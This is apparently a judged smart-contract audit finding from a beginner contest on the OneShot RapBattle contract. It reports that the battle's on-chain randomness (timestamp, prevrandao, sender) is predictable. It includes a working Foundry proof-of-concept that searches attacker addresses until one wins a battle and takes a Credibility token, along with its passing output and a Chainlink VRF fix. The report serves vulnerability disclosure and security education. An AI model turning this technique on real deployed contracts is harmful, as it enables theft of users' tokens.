Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`RapBattle._battle` random can be predicted.

Summary

RapBattle._battle random can be predicted and lead to stealing Credibility tokens from users.

Vulnerability Details

Function _battle in RapBattle contract use weak random sources which a known values for attacker or can be manipulated by attacker:

https://github.com/Cyfrin/2024-02-one-shot/blob/47f820dfe0ffde32f5c713bbe112ab6566435bf7/src/RapBattle.sol#L62C1-L63C116

uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;

block.timestamp is known by attacker

block.prevrandao is known by attacker

msg.sender can be manipulated by attacker using create2

totalBattleSkill is known by attacker

POC

Add this test to OneShotTest.t.sol and run via forge test --mt testWeakRandomness to see it success.

function testWeakRandomness() public {
address alice = makeAddr("Alice");
vm.startPrank(alice);
oneShot.mintRapper(); // tokenId = 0
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.warp(4 days + 1);
vm.startPrank(alice);
streets.unstake(0);
vm.stopPrank();
address bob = makeAddr("Bob");
vm.startPrank(bob);
oneShot.mintRapper(); // tokenId = 1
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.warp(5 days + 1);
vm.startPrank(bob);
streets.unstake(1);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 1);
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();
vm.roll(uint256(keccak256(abi.encodePacked("randomBlock"))));
string[9] memory saltArr = ["0", "1", "2", "3", "4", "5", "6", "7", "8"];
uint defenderSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = rapBattle.getRapperSkill(0) + defenderSkill;
uint i = 0;
string memory salt = "saltedAddress";
while(true) {
uint k = i % 9;
i++;
salt = string.concat(salt, saltArr[k]);
address attacker = makeAddr(salt);
if (getRandomForAddress(attacker, totalBattleSkill) > defenderSkill) {
assert(cred.balanceOf(attacker) == 0);
vm.startPrank(attacker);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
assert(cred.balanceOf(attacker) == 1);
return;
}
}
}
function getRandomForAddress(address _attackerContract, uint256 totalBattleSkill) internal returns(uint256 random) {
random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, _attackerContract))) % totalBattleSkill;
}

Output:

Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testWeakRandomness() (gas: 640914)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.17ms

Impact

Predictable random in RapBattle._battle leads to the attacker winning every battle that already has a defender and stealing Credibility tokens from the user.

Tools Used

Manual review, foundry.

Recommendations

Consider using a cryptographically provable random number generator, such as Chainlink VRF.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.